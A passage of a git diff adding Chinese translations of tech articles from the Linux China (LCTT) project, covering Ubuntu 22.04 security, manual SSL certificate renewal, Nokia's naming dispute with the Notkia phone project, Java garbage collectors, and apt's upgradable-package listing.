+其安全更新的延长支持、新的硬件支持和其他林林总总的改进,使它在安全方面远远超过了之前的所有版本。 + +但它是如何做到这一点的呢?还有,是什么让这个版本与以前的版本不同的呢? + +嗯,有几个原因,Canonical 在一篇新的博客文章中为我们重点指出了这些。在这里,让我总结一下,以帮助你了解更多。 + +### 是什么让 Ubuntu 22.04 LTS 变得安全? + +在这个版本中,Ubuntu 团队似乎投入了大量的工作来确保其长期的安全性和可靠性。尽管多年来他们以难以想象的方式做到了这一点,但我将强调其中的几件事: + +* 改进的硬件安全措施支持 +* 更新了安全包 +* 私有家目录 +* OpenSSL 3 +* GCC 11 +* nftables 作为默认的防火墙后端 +* Linux 内核改进 + +#### 1、改进的硬件安全措施支持 + +![][3] + +随着英特尔、AMD 和 ARM 的 CPU/SoC 开始推出更多的安全措施,拥有足够的软件来让这些功能发挥作用就变得越来越重要。 + +截至目前,Ubuntu 22.04 支持三种主要的硬件安全措施。 + +英特尔的 “软件保护扩展Software Guard eXtensions”(SGX)提供了一个安全独立的区域来进行敏感计算。例如,理想情况下,密码处理将在这里进行,因为它确保没有其他应用程序可以访问这些数据。 + +还有 AMD 的“安全加密虚拟化Secure Encrypted Virtualization”(SEV)。这项技术旨在防止主机操作系统干扰正在运行的虚拟机。 + +尽管这与桌面用户的相关性不如其他技术,但要知道,很多数据中心的基础设施都依赖虚拟机来实现应用的容器化。总的来说,此类针对硬件的安全措施应该会加强对桌面和服务器用户的保护。 + +#### 2、Linux 内核安全的改进 + +随着 Ubuntu 的每一次发布,Linux 内核都会得到升级,提供了许多有用的功能和支持。 + +但是,这一次,Canonical 推出了针对不同的平台的优化内核版本。对于 OEM 认证的桌面设备,它提供了 [Linux 内核 5.17][4]。 + +而对于所有的桌面和服务器用户,可以使用 [Linux 内核 5.15 LTS][5]。 + +不仅仅限于这个概念,在 [博文][6] 中提到的一些基本内核安全增强措施包括: + +* 支持 [核心调度][7],它允许进程控制哪些线程可以在 SMT 同级之间调度,以便让它们保护敏感信息,而不泄露给系统中其他不受信任的进程。 +* 内核堆栈随机化提供了一种加固措施,以挫败希望在内核内进行内存破坏攻击的攻击者。 +* BPF 子系统也有一些安全方面的增强,包括默认情况下限制为只有特权进程可以使用,以及对签名的 BPF 程序的初步支持。 +* 新的 Landlock Linux 安全模块的加入为应用程序沙箱提供了另一种机制,可以通过 AppArmor 或 SELinux 与更传统的方式结合使用。 + +总之,所有这些改进使 Ubuntu 22.04 LTS 成为开发者、用户和系统管理员的更安全的选择。 + +#### 3、更新的安全软件包 + +![][8] + +让我们从技术性的安全概念退后一步,回到每个 Ubuntu 用户都应该已经熟悉的概念:软件包。每一个新的 Ubuntu 版本,软件库中的大多数软件包都会更新,以带来更好的安全性和新功能。 + +尽管对于 Ubuntu 22.04 来说,这并不完全是新的东西,但这确实包括了很多安全方面的更新。这方面的例子包括 openSSL 3 和 GCC 11。 + +#### 4、OpenSSL 3 + +OpenSSL 是所有安全通信的支柱。 + +考虑到包括 MD2 和 DES 在内的许多传统算法已经被废弃并默认禁用,OpenSSL 3 作为一个重大的升级特别值得关注。 + +因此,除非用户特别想使用不太安全的算法,否则你将在默认情况下获得最好的安全性。 + +#### 5、GCC 11 + +另一方面,GCC 是许多开发者用来将他们的代码变成可以在你的计算机上运行的程序的编译器。 + +它带来了许多改进,但有一项特别显著地提高了安全性。静态分析得到了极大的加强,使开发人员能够更快地发现软件的漏洞,在第一步就防止有漏洞的代码被发布。 + +这可能不会直接影响到用户,许多开发人员使用 Ubuntu 来开发他们的应用程序。因此,你下载的很多程序,即使在非 Ubuntu 系统上,也应该比以前更安全。 + +#### 6、私有家目录 + +![][9] + +作为一个传统上以桌面为重点的发行版,Ubuntu 经常选择方便而不是安全。然而,随着他们越来越努力地推动云计算的采用,这种情况必须改变。 + +以前,任何有权限进入电脑的人都可以打开并查看任何用户的家目录。然而,你可以想象,这给非桌面用户带来了很多问题。因此,需要改变为私有家目录。 + +对于多用户系统来说,这可能稍显不方便,但这可以相对容易地改变。而且,对于那些不太熟悉技术的人来说,他们不需要做任何事情就可以得到更好的安全保障。 + +#### 7、nftables 作为默认防火墙后端 + +![][10] + +25 年来,防火墙一直是将你的计算机与更广泛的互联网隔离开来的一个关键部分。这些年来,Linux 发行版通常使用两种不同的防火墙解决方案:iptables 和 xtables。 + +然而,近些年来,一种不同的解决方案进入了人们的视野:nftables。它提供了显著的性能和灵活性的改进,使网络管理员能够更好地保护你的设备。 + +### 总结 + +毋庸置疑,Ubuntu 22.04 LTS 做了很多不错的升级。不仅仅是用户体验,它在安全方面也是一个重大的飞跃。 + +当然,还有更多,但上面提到的改进是很好的成就! + +关于更多的技术细节,你可以查看这篇 [Ubuntu 的官方博客文章][11]。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/reasons-ubuntu-22-04-secure/ + +作者:[Jacob Crume][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/jacob/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/07/ubuntu-22-04-is-most-secure-release.jpg +[2]: https://news.itsfoss.com/ubuntu-22-04-release/ +[3]: https://news.itsfoss.com/wp-content/uploads/2022/07/hardware-security-illustration-1024x576.jpg +[4]: https://news.itsfoss.com/linux-kernel-5-17-release/ +[5]: https://news.itsfoss.com/linux-kernel-5-15-release/ +[6]: https://ubuntu.com/blog/whats-new-in-security-for-ubuntu-22-04-lts +[7]: https://www.kernel.org/doc/html/latest/admin-guide/hw-vuln/core-scheduling.html +[8]: https://news.itsfoss.com/wp-content/uploads/2021/07/open-source-security-illustration-1024x576.png +[9]: https://news.itsfoss.com/wp-content/uploads/2021/04/private-home-directory-ubuntu-21.png +[10]: https://news.itsfoss.com/wp-content/uploads/2022/07/firewall-illustration-1024x576.jpg +[11]: https://ubuntu.com/blog/whats-new-in-security-for-ubuntu-22-04-lts diff --git a/published/202207/20220711 Manual Renewal of SSL Certificates- A Simple Guide.md b/published/202207/20220711 Manual Renewal of SSL Certificates- A Simple Guide.md new file mode 100644 index 0000000000..fde96a948b --- /dev/null +++ b/published/202207/20220711 Manual Renewal of SSL Certificates- A Simple Guide.md @@ -0,0 +1,80 @@ +[#]: subject: "Manual Renewal of SSL Certificates: A Simple Guide" +[#]: via: "https://www.opensourceforu.com/2022/07/manual-renewal-of-ssl-certificates-a-simple-guide/" +[#]: author: "Jitendra Bhojwani https://www.opensourceforu.com/author/jitendra-bhojwani/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14838-1.html" + +手动续订 SSL 证书的简单指南 +====== + +![SSL-Certificates-Featured-image][1] + +*在本杂志 2022 年 4 月号中,我们了解了不同类型的 SSL 证书及其应用。本文介绍如何手动更新现有 SSL 证书,以使其保持最新的安全要求。* + +当访问者与你的网站互动并分享信用卡号码等关键细节时,他们相信他们的信息已得到保护,不会被滥用。因此,你有责任尊重这种信任并为你网站上的所有访问者提供全面保护。不这样做不仅会使你失去客户的忠诚度,而且还可能使你陷入法律困境。在许多情况下,无法保护客户数据免遭泄露、盗窃或滥用的网站被迫支付巨额罚款,同时也失去了声誉。 + +#### SSL 证书如何保护客户的数据? + +保护敏感客户信息的最佳方法之一是使用 SSL(安全套接字层)证书保护你的站点。用不涉及技术细节的话来说,SSL 证书对 Web 服务器和访问者浏览器之间的通信进行加密,从而使黑客或威胁参与者在技术上不可能窃取传输中的数据。 SSL 建立了一个安全的握手过程来解密加密的信息,这个过程太复杂了,人类甚至软件都无法破解。(LCTT 校注:此处言过其实,SSL 加密传输的信息并不是绝对不可截获和破解的,比如中间人攻击等。) + +#### 为什么需要更新 SSL 证书? + +虽然 SSL 证书提供了防止数据盗窃或滥用的安全性,但你需要定期更新它以确保最有效的安全性以抵御最新的威胁。本文将列出以正确方式更新 SSL 证书的分步说明。 + +更新 SSL 证书有很多好处: + +* 及时更新验证你的网站的身份。 +* 获得更新的安全性。 +* 一年有效期促进定期更新/升级保护范围的健康实践,从而消除与过时版本相关的风险。 + +> 注意:最佳做法是选择一种自动续订方式,以减轻你记住续订日期或手动执行相关步骤的压力。 + +#### 有点跑题了,构建你自己的 SSL 证书的纯开源方式 + +是的,这绝对是真的!通过一些简化和紧凑的步骤,你实际上可以从头开始构建自己的 SSL 证书!虽然整个过程超出了本文的范围,但这里有一些可用于创建 SSL 证书的关键开源组件和工具。 + +* OpenSSL:这是实现 TLS 和加密库的高度可信的工具。 +* EasyRSA:此命令行工具使你能够构建 PKI CA 并有效地管理它。 +* CFSSL:Cloudflare 终于为 PKI 和 TLS 构建了一个多用途、多功能的工具。 +* Lemur:由 Netflix 开发的还不错的 TLS 生成器。 + +### 如何更新你的 SSL 证书 + +虽然 [SSL][2] 更新的一般过程保持不变,但可能会有一些细微的调整和变化,具体取决于你的特定 SSL 提供商。 + +更新过程遵循三个主要步骤:CSR(证书签名请求)生成、证书激活,最后是证书安装。 + +**生成 CSR:** 对于 cPanel 托管面板,你可以单击“安全Security”选项卡并搜索 *SSL/TLS* 选项。它将显示一个页面,在 CSR 选项下方有一个链接。这里可以帮助你为所需的域名生成新的 CSR。 + +系统将询问你详细的联系信息,以确认你是真正的域所有者。填写表格后,你将获得证书重新激活所需的 CSR 代码。 + +**激活 SSL 证书:** 在你的仪表板中,你可以快速查看拥有的 SSL 证书、域和其他数字基础设施产品。单击该按钮开始 SSL 续订过程。输入之前生成的 CSR,确认信息的准确性。你现在可以验证 SSL 续订过程。 + +**验证 SSL 证书:** 系统将再次提示你确认域所有权 —— 输入与域相关的电子邮件;在需要安装证书的 Web 服务器上上传文件;借助 CNAME 记录验证 SSL 证书等等。虽然有多种选择,但最好和最简单的方法是通过电子邮件进行验证。输入与该域关联的电子邮件后,你将收到一封包含特定链接的电子邮件,然后是另一封邮件,其中包含带有 `.crt` 扩展名的新证书文件。 + +**安装 SSL 证书:** 你的主机托管商将为你提供与支持团队沟通的方式,以安装更新文件,或为你提供有关如何通过 cPanel 手动执行此操作的详细说明。请记住,不同的主机提供不同的续订方式。也就是说,如果你是非技术人员,那么联系支持团队将是你的最佳选择。 + +如需手动更新,请访问 cPanel 的 “SSL/TLS” 页并找到 “管理 SSL 站点Manage SSL sites”选项。它包含了你拥有的整个域列表。对应每个域名,你可以看到证书更新选项。 + +在旁边的页面中,使用“按域自动填写Autofill by Domain”选项输入“私钥Private Key”的详细信息。在 “证书Certificate” 选项下,填写你的 `.crt` 文件的详细信息。离完成就剩一步了。只需单击显示“安装证书Install Certificate”的按钮。 + +除了保存用户的关键数据和敏感信息外,SSL 证书还通过重申你网站上共享的数据是安全的来建立信任。由于谷歌认为 SSL 认证是一种健康的做法,因此它也会对你的 SEO 产生积极影响。但是,要继续享受此证书的最佳安全性,你需要定期更新它。这可以确保你的网站根据最新的安全要求,充分防止数据传输中的攻击。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/07/manual-renewal-of-ssl-certificates-a-simple-guide/ + +作者:[Jitendra Bhojwani][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/jitendra-bhojwani/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/05/SSL-Certificates-Featured-image.jpg +[2]: https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwitou7xjv_3AhWLRmwGHVZ2BWwQFnoECB0QAQ&url=https%3A%2F%2Fgithub.com%2Fopenssl%2Fopenssl&usg=AOvVaw0niwMRCpb4nN_PtJFMQwWP diff --git a/published/202207/20220711 Nokia Targets An Amateur Linux Phone Project -NOTKIA- for a Name Change.md b/published/202207/20220711 Nokia Targets An Amateur Linux Phone Project -NOTKIA- for a Name Change.md new file mode 100644 index 0000000000..927aaa8b2f --- /dev/null +++ b/published/202207/20220711 Nokia Targets An Amateur Linux Phone Project -NOTKIA- for a Name Change.md @@ -0,0 +1,87 @@ +[#]: subject: "Nokia Targets An Amateur Linux Phone Project ‘NOTKIA’ for a Name Change" +[#]: via: "https://news.itsfoss.com/nokia-notkia/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14837-1.html" + +诺基亚勒令一个开源 Linux 手机项目 “NOTKIA” 改名字 +====== + +> 有一个想要为你带来一款诺基亚风格的 Linux 手机的开源项目,但诺基亚似乎并不喜欢这个项目的名字。 + +![诺基亚][1] + +近期,一个旨在打造经典诺基亚(小型)的 Linux 手机的开源项目,遭到了诺基亚的抨击。 + +该项目的名称最初是 “**Notkia**”,然而,诺基亚认为该名称与自己相似,可能会影响自己的品牌声誉,并侵犯到自己的权利。 + +虽然这样做可以保护公司的业务,但这些公司向在当前状态下甚至对他们构不成威胁的项目发送侵权通知是怎么回事? + +### Notkia:开发一款袖珍 Linux 手机 + +不过还得 *感谢* 诺基亚的这个侵权通知,我们才能了解到这个有趣的项目:开发一款满足基本使用、注重隐私的小型 Linux 手机。 + +该项目的目标是设计一个完全适合诺基亚经典手机外壳的 PCB。 + +![][2] + +到目前为止,该项目已经支持许多硬件相关的功能,包括蓝牙和 Wi-Fi。 + +该项目不基于安卓,而是基于主线 Linux 内核。 + +你可以在他们的 [官方博文][3] 中,了解有关该项目和计划中的手机规格。 + +目前,该项目正在等待筹款,以便可以单独购买早期原型机。 + +### 灵感来自诺基亚,并受到诺基亚的关注 + +嗯,该项目清楚地表明他们受到诺基亚经典手机的启发,他们并没有试图误导任何贡献者和潜在客户。 + +该项目的创建者在推特上分享了诺基亚的电子邮件,同时他提到,诺基亚在将此类通知发送给以社区利益为主导的项目之前,应该更谨慎一些才对。 + +> 再次阅读 [@Nokia][4] 的邮件后,我开始感到愤怒。这无非是一场精心策划的演出。既然它是一个协作项目,并且得到了世界各地的人们的贡献,因此,我将把完整的电子邮件发布给它的“预期收件人”。 +> +> ![来自推特 @ReimuNotMoe][5] + +**此外,他们确认该项目将更名。** + +当然,作为一个开源项目,它应该和诺基亚是扯不上关系的,除非他们使用诺基亚的品牌名称销售他们的原型/手机。 + +但是,在目前的状态下,这更像是一个激情项目,是开源爱好者社区协作努力的成果。因此,向他们发出侵犯诺基亚权利的通知,听起来实在有些牵强。 + +*对吗?* + +当然,对于一般企业来说,这并不奇怪;但对于诺基亚来说,这未免有点过于谨慎和反竞争了。 + +更何况,我们可以肯定地说,诺基亚的最新的智能手机的表现,并没有达到用户的预期。 + +有趣的是,一位推特用户发现,还有一家名为 “Notkia” 的 [IT 公司][7]。他们是否也收到了诺基亚的通知?呵呵,谁知道呢。 + +*那么,你如何看待这个基于 Linux 的袖珍手机的开源项目呢?在下面的评论中分享你的看法吧!* + +消息来源:[Vice][8] + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/nokia-notkia/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/07/nokia-targets-linux-phone-notkia.jpg +[2]: https://news.itsfoss.com/wp-content/uploads/2022/07/notkia-nokia-1024x766.jpg +[3]: https://hackaday.io/project/185645-notkia-name-change-planned +[4]: https://twitter.com/nokia?ref_src=twsrc%5Etfw +[5]: https://pbs.twimg.com/media/FWftWyjUYAA49ew?format=jpg&name=large +[6]: https://twitter.com/ReimuNotMoe/status/1542466662154108930?ref_src=twsrc%5Etfw +[7]: https://www.linkedin.com/company/notkia-it/ +[8]: https://www.vice.com/en/article/93awjz/nokia-asks-open-source-notkia-phone-project-to-change-its-name diff --git a/published/202207/20220712 7 kinds of garbage collection for Java.md b/published/202207/20220712 7 kinds of garbage collection for Java.md new file mode 100644 index 0000000000..e353e8dba1 --- /dev/null +++ b/published/202207/20220712 7 kinds of garbage collection for Java.md @@ -0,0 +1,121 @@ +[#]: subject: "7 kinds of garbage collection for Java" +[#]: via: "https://opensource.com/article/22/7/garbage-collection-java" +[#]: author: "Jayashree Huttanagoudar https://opensource.com/users/jayashree-huttanagoudar" +[#]: collector: "lkxed" +[#]: translator: "Veryzzj" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14862-1.html" + +Java 的七种垃圾收集器 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/25/075744nw0c9c4vtvkgiuct.jpg) + +> 了解 Java 中的内存管理。 + +用 C 或 C++ 这样的编程语言写一个应用时,需要编写代码来销毁内存中不再需要的对象。当应用程序扩展得越来越复杂时,未使用对象被忽略释放的可能性就越大。这会导致内存泄露,最终内存耗尽,在某个时刻将没有更多的内存可以分配。结果就是应用程序运行失败并出现 OutOfMemoryError 错误。但在 Java 中,垃圾收集器Garbage Collection(GC)会在程序执行过程中自动运行,减轻了手动分配内存和可能的内存泄漏的任务。 + +垃圾收集器并不只有一种,Java 虚拟机(JVM)有七种不同的垃圾收集器,了解每种垃圾收集器的目的和优点是很有用的。 + +### 1、Serial 收集器 + +![Serial threaded garbage collection][1] + +垃圾收集器的原始实现,使用单线程。当垃圾收集器运行时,会停止应用程序(通常称为“stop the world”事件)。适用于能够承受短暂停顿的应用程序。该垃圾收集器占用内存空间比较小,因此这是嵌入式应用程序的首选垃圾收集器类型。在运行时使用以下命令启用该垃圾收集器: + +``` +$ java -XX:+UseSerialGC +``` + +### 2、Parallel 收集器 + +![Parallel garbage collection][2] + +像 Serial 收集器一样,Parallel 收集器也使用“stop the world”方法。这意味着,当垃圾收集器运行时,应用程序线程会停止。但是不同的是,Parallel 收集器运行时有多个线程执行垃圾收集操作。这种类型的垃圾收集器适用于在多线程和多处理器环境中运行中到大型数据集的应用程序。 + +这是 JVM 中的默认垃圾收集器,也被称为*吞吐量收集器*。使用该垃圾收集器时可以通过使用各种合适的 JVM 参数进行调优,例如吞吐量、暂停时间、线程数和内存占用。如下: + +* 线程数:`-XX:ParallelGCThreads=` +* 暂停时间:`-XX:MaxGCPauseMillis=` +* 吞吐量(垃圾收集花费的时间与实际应用程序执行的时间相比):`-XX:GCTimeRatio=` +* 最大堆内存:`-Xmx` + +Parallel 收集器可以使用该命令显式启用:`java -XX:+UseParallelGC` 。使用这个命令,指定在新生代中通过多个线程进行垃圾回收,而老年代中的垃圾收集和内存压缩仍使用单个线程完成的。 + +还有一个版本的的 Parallel 收集器叫做 “Parallel Old GC”,它对新生代和老年代都使用多线程,启用命令如下: + +``` +$ java -XX:+UseParallelOldGC +``` + +### 3、Concurrent Mark Sweep(CMS)收集器 + +![Concurrent garbage collection][3] + +Concurrent Mark Sweep(CMS)垃圾收集器与应用程序并行运行。对于新生代和老年代都使用了多线程。在 CMS 垃圾收集器删除无用对象后,不会对存活对象进行内存压缩。该垃圾收集器和应用程序并行运行,会降低应用程序的响应时间,适用于停顿时间较短的应用程序。这个收集器在 Java8 已过时,并在 Java14 中被移除。如果你仍在使用有这个垃圾收集器的 Java 版本,可以使用如下命令启用: + +``` +$ java -XX:+UseConcMarkSweepGC +``` + +在 CMS 垃圾收集器使用过程中,应用程序将暂停两次。首次暂停发生在标记可直接访问的存活对象时,这个暂停被称为*初始标记*。第二次暂停发生在 CMS 收集器结束时期,来修正在并发标记过程中,应用程序线程在 CMS 垃圾回收完成后更新对象时被遗漏的对象。这就是所谓的*重新标记*。 + +### 4、G1 收集器 + +![Garbage first][4] + +G1 垃圾收集器旨在替代 GMS。G1 垃圾收集器具备并行、并发以及增量压缩,且暂停时间较短。与 CMS 收集器使用的内存布局不同,G1 收集器将堆内存划分为大小相同的区域,通过多个线程触发全局标记阶段。标记阶段完成后,G1 知道哪个区域可能大部分是空的,并首选该区域作为清除/删除阶段。 + +在 G1 收集器中,一个对象如果大小超过半个区域容量会被认为是一个“大对象” 。这些对象被放置在老年代中,在一个被称为“humongous region”的区域中。 启用 G1 收集器的命令如下: + +``` +$ java -XX:+UseG1GC +``` + +### 5、Epsilon 收集器 + +该垃圾收集器是在 Java11 中引入的,是一个 *no-op*(无操作)收集器。它不做任何实际的内存回收,只负责管理内存分配。Epsilon 只在当你知道应用程序的确切内存占用情况并且不需要垃圾回收时使用。启用命令如下: + +``` +$ java -XX:+UnlockExperimentalVMOptions -XX:+UseEpsilonGC +``` + +### 6、Shenandoah 收集器 + +Shenandoah 是在 JDK12 中引入的,是一种 CPU 密集型垃圾收集器。它会进行内存压缩,立即删除无用对象并释放操作系统的空间。所有的这一切与应用程序线程并行发生。启用命令如下: + +``` +$ java -XX:+UnlockExperimentalVMOptions -XX:+UseShenandoahGC +``` + +### 7、ZGC 收集器 + +ZGC 为低延迟需要和大量堆空间使用而设计,允许当垃圾回收器运行时 Java 应用程序继续运行。ZGC 收集器在 JDK11 引入,在 JDK12 改进。在 JDK15,ZGC 和 Shenandoah 都被移出了实验阶段。启用 ZGC 收集器使用如下命令: + +``` +$ java -XX:+UnlockExperimentalVMOptions -XX:+UseZGC +``` + +### 灵活的垃圾收集器 + +Java 为我们提供了灵活的内存管理方式,熟悉不同的可用方法有助于为正在开发或运行的应用程序选择最合适的内存管理方式。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/garbage-collection-java + +作者:[Jayashree Huttanagoudar][a] +选题:[lkxed][b] +译者:[Veryzzj](https://github.com/Veryzzj) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jayashree-huttanagoudar +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/2022-07/jaya-java-gc-serial.webp +[2]: https://opensource.com/sites/default/files/2022-07/jaya-java-gc-parallel.webp +[3]: https://opensource.com/sites/default/files/2022-07/jaya-java-gc-concurrent.webp +[4]: https://opensource.com/sites/default/files/2022-07/g1.png +[5]: https://opensource.com/home-page-new diff --git a/published/202207/20220712 List Upgradable Packages With apt Command in Ubuntu.md b/published/202207/20220712 List Upgradable Packages With apt Command in Ubuntu.md new file mode 100644 index 0000000000..2e4c7f3ed0 --- /dev/null +++ b/published/202207/20220712 List Upgradable Packages With apt Command in Ubuntu.md @@ -0,0 +1,186 @@ +[#]: subject: "List Upgradable Packages With apt Command in Ubuntu" +[#]: via: "https://itsfoss.com/apt-list-upgradable/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14861-1.html" + +在 Ubuntu 中使用 apt 命令列出可升级的软件包 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/24/230954qjko0c0sn55ohjf0.jpg) + +[apt 命令][1] 用于 Debian 和 Ubuntu 中的包管理。虽然你可能已经熟悉安装和删除选项,但 `apt` 还提供了一些额外的功能。 + +其中之一是能够查看系统上所有可升级的软件包。要显示它们,你所要做的就是在终端中使用以下命令: + +``` +apt list --upgradable +``` + +如你所见,你甚至不需要使用 `sudo` 来列出可更新的包。它只是列出了可以更新的包,而不会更新它们。 + +实际上,当你运行 `sudo apt update` 命令更新本地包仓库缓存时,`apt` 命令会添加此提示。 + +``` +Fetched 1,243 kB in 17s (71.4 kB/s) +Reading package lists... Done +Building dependency tree... Done +Reading state information... Done +30 packages can be upgraded. Run 'apt list --upgradable' to see them. +``` + +我不记得在旧的 `apt-get` 命令中有任何类似的直接选项来列出所有可升级的包。这是 `apt` 在旧的 `apt-get` 命令之上添加的几个新功能之一。 + +让我们更详细地讨论一下。 + +### 列出所有可升级的包 + +你在这里应该知道的是**你只能列出通过 APT 包管理器可用的更新**。因此,如果你已将 PPA 或 [外部仓库][2] 添加到系统的 `sources.list`,你也将看到来自它们的更新。 + +但是你不会在这里获得 AppImage、Flatpak、Snap 或一些其他打包格式的更新。 + +换句话说,它只适用于 APT 包。 + +因此,要列出 Ubuntu 或 Debian 系统上的所有可升级包,你应该首先更新本地包缓存: + +``` +sudo apt update +``` + +然后你的系统将知道可用的软件包更新。`apt` 命令告诉你在 update 命令结束时可以升级多少个软件包: + +![The apt command shows the number of upgradable packages at the bottom of the apt update command output][3] + +要查看可以升级的软件包,请运行以下命令: + +``` +apt list --upgradable +``` + +你应该看到这样的输出: + +``` +~$ apt list --upgradable +Listing... Done +apparmor/jammy-updates 3.0.4-2ubuntu2.1 amd64 [upgradable from: 3.0.4-2ubuntu2] +brave-browser/stable 1.40.113 amd64 [upgradable from: 1.40.107] +evolution-data-server-common/jammy-updates,jammy-updates 3.44.2-0ubuntu1 all [upgradable from: 3.44.1-0ubuntu2] +evolution-data-server/jammy-updates 3.44.2-0ubuntu1 amd64 [upgradable from: 3.44.1-0ubuntu2] +``` + +![Listing all the upgradable packages][4] + +它**按字母顺序列出所有可升级的软件包**以及有关当前安装版本和新可用软件包版本的信息。 + +``` +brave-browser/stable 1.40.113 amd64 [upgradable from: 1.40.107] +``` + +例如,这显示我系统上安装了 Brave 浏览器,版本 1.40.107,并且版本 1.40.113 可用。 + +你能用这些信息做什么?让我分享一些我能想到的事情。 + +### 升级所有包 + +这可能是大多数普通 Ubuntu 用户所做的。你可以使用以下命令升级所有可升级包: + +``` +sudo apt upgrade +``` + +它列出了将要升级的软件包,然后要求按回车或 `Y` 确认升级。 + +![Upgrade all packages][5] + +如果你确定要升级所有软件包,则可以通过在命令中添加 `-y` 来跳过 “Do you want to continue” 部分。 + +``` +sudo apt upgrade -y +``` + +### 模拟升级(但不升级任何包) + +这是人们在 `apt list` 命令之前所做的。使用模拟选项,你实际上不会进行任何更改。它仅显示运行升级时将安装或升级的软件包。 + +``` +apt -s upgrade +``` + +你不需要使用 `sudo`(即使我在下面的截图中使用了它)。 + +![Running an upgrade simulation with apt command][6] + +### 仅升级选定的包 + +如果你正在管理一个 Ubuntu 服务器,并且你不想升级所有软件包,而只想升级少数选定的软件包中的一个(如 MySQL/Ngnix),你可以使用 `apt` 命令轻松完成。 + +``` +sudo apt --only-upgrade install package_name +``` + +实际上,如果你在已安装且有可用更新的软件包上运行 `apt install` 命令,它将升级该软件包。 + +使用 `--only-upgrade` 标志,你可以确保**仅升级**软件包(如果已安装)。如果尚未安装,它将不会安装给定的包。 + +你还可以通过提供名称来升级选定的几个包: + +``` +sudo apt --only-upgrade install package1 package2 +``` + +你也可以做相反的事情,[升级时保留选定的软件包][7]。 + +``` +sudo apt-mark hold package_name +``` + +这样,当你升级所有系统包时,将不会升级给定的包。 + +你可以使用以下命令删除保留设置: + +``` +sudo apt-mark unhold package_name +``` + +### 是否显示内核升级? + +这有点棘手。 + +当你运行 `apt list –upgradable` 命令时,它会显示所有可以升级的包。 + +但是如果有新的内核版本可用,它们可能不会显示,因为内核包名称以 `linux-headers-x-y` 开头。这是因为系统将它们视为新包,而不是对已安装的包 `linux-headers-a-b` 的升级。 + +但是,你仍然会在可升级包列表中看到 `linux-generic-hwe` 类型的包,因为该软件包将被升级(使用较新的内核)。 + +### 总结 + +列出可升级包的能力是 `apt` 命令为旧的 `apt-get` 命令带来的几个新功能之一。有关此主题的更多信息,你可以阅读我 [解释 apt 和 apt-get 命令之间的区别][8] 的文章。 + +作为桌面用户,我并不总是检查可以升级的软件包。我直接去升级。但是,当我管理服务器时,我更喜欢查看可用的更新,然后决定是否进行升级。 + +你呢?你觉得这个功能对你自己有用吗? + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/apt-list-upgradable/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/apt-command-guide/ +[2]: https://itsfoss.com/adding-external-repositories-ubuntu/ +[3]: https://itsfoss.com/wp-content/uploads/2022/07/update-package-cache-ubuntu.png +[4]: https://itsfoss.com/wp-content/uploads/2022/07/apt-list-upgradable-packages-ubuntu.webp +[5]: https://itsfoss.com/wp-content/uploads/2022/07/upgrade-all-packages-ubuntu.webp +[6]: https://itsfoss.com/wp-content/uploads/2022/07/run-an-upgrade-simulation-apt-ubuntu.webp +[7]: https://itsfoss.com/prevent-package-update-ubuntu/ +[8]: https://itsfoss.com/apt-vs-apt-get-difference/ diff --git a/published/202207/20220713 How I create music playlists on Linux.md b/published/202207/20220713 How I create music playlists on Linux.md new file mode 100644 index 0000000000..708acec8c8 --- /dev/null +++ b/published/202207/20220713 How I create music playlists on Linux.md @@ -0,0 +1,215 @@ +[#]: subject: "How I create music playlists on Linux" +[#]: via: "https://opensource.com/article/22/7/c-linux-mp3" +[#]: author: "Rikard Grossman-Nielsen https://opensource.com/users/rikardgn" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14868-1.html" + +如何编写 C 程序在 Linux 上创建音乐播放列表 +====== + 